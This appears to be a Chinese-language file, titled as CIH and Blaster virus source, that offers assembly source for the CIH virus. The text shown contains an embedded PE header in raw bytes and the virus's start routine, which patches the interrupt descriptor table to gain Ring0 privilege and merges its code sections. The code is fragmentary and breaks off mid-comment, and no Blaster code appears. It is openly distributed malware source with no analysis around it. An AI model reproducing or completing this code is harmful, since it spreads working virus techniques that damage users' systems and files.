cih&冲击波source.txt

大量Delphi开发资料

我来提供CIH源代码和冲击波的源代码:
                                                                               
                .586P                                                            
                                                                                 
; ****************************************************************************   
; *             Original PE Executable File(Don't Modify this Section)       *   
; ****************************************************************************   
                                                                                 
OriginalAppEXE  SEGMENT                                                          
                                                                                 
FileHeader:                                                                      
                db      04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h           
                db      004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h           
                db      0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h           
                db      00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh           
                db      021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h           
                db      069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h           
                db      061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh           
                db      074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh           
                db      020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h           
                db      06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah           
                db      024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h           
                db      0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h           
                db      00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h           
                db      000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h           
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h           
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h           
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h           
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h           
                db      000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h           
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h           
; *********************************************************                      
        HookExceptionNumber     =       03h                                      
                                                                                 
ENDIF                                                                            
                                                                                 
                                                                                 
FileNameBufferSize      =       7fh                                              
                                                                                 
; *********************************************************                      
; *********************************************************                      
                                                                                 
VirusGame               SEGMENT                                                  
                                                                                 
                        ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame         
                        ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame         
                                                                                 
; *********************************************************                      
; *             Ring3 Virus Game Initial Program          *                      
; *********************************************************                      
                                                                                 
MyVirusStart:                                                                    
                        push    ebp                                              
                                                                                 
; * IDT(Interrupt Descriptor Table)   *                                          
; * to Get Ring0 Privilege...         *                                          
; *************************************                                          
                                                                                 
                        push    eax             ;                                
                        sidt    [esp-02h]       ; Get IDT Base Address           
                        pop     ebx             ;                                
                                                                                 
                        add     ebx, HookExceptionNumber*08h+04h ; ZF = 0        
                                                                                 
                        cli                                                      
                                                                                 
                        mov     ebp, [ebx]      ; Get Exception Base             
                        mov     bp, [ebx-04h]   ; Entry Point                    
                                                                                 
                        lea     esi, MyExceptionHook-@1[ecx]                     
                                                                                 
                        push    esi                                              
                                                                                 
                        mov     [ebx-04h], si           ;                        
                        shr     esi, 16                 ; Modify Exception       
                        mov     [ebx+02h], si           ; Entry Point Address    
                                                                                 
                        pop     esi                                              
                                                                                 
; *************************************                                          
; * Generate Exception to Get Ring0   *                                          
; *************************************                                          
                                                                                 
                        int     HookExceptionNumber     ; GenerateException      
ReturnAddressOfEndException     =       $                                        
                                                                                 
; *************************************                                          
; * Merge All Virus Code Section      *                                          
; *************************************                                          
                                                                                 
                        push    esi                                              
                        mov     esi, eax                                         
                                                                                 
LoopOfMergeAllVirusCodeSection:                                                  
                                                                                 
                        mov     ecx, [eax-04h]                                   
                                                                                 
                        rep     movsb                                            
                                                                                 
                        sub     eax, 08h                                         
                                                                                 
                        mov     esi, [eax]                                       
                                                                                 
                        or      esi, esi                                         
                        jz      QuitLoopOfMergeAllVirusCodeSection ; ZF = 1      
                                                                                 
                        jmp     LoopOfMergeAllVirusCodeSection                   
                                                                                 
QuitLoopOfMergeAllVirusCodeSection:                                              
                                                                                 
                        pop     esi                                              
                                                                                 
; *************************************                                          
; * Generate Exception Again          *                                          
; *************************************                                          
                                                                                 
                        int     HookExceptionNumber     ; GenerateException Aga  
                                                                                 
                                                                                 
; *************************************                                          
; * Let's Restore                     *                                          
; * Structured Exception Handing      *                                          
; *************************************                                          
                                                                                 
ReadyRestoreSE:                                                                  
                        sti                                                      
                                                                                 
                        xor     ebx, ebx                                         
                                                                                 
                        jmp     RestoreSE                                        
                                                                                 
; *************************************                                          
; * When Exception Error Occurs,      *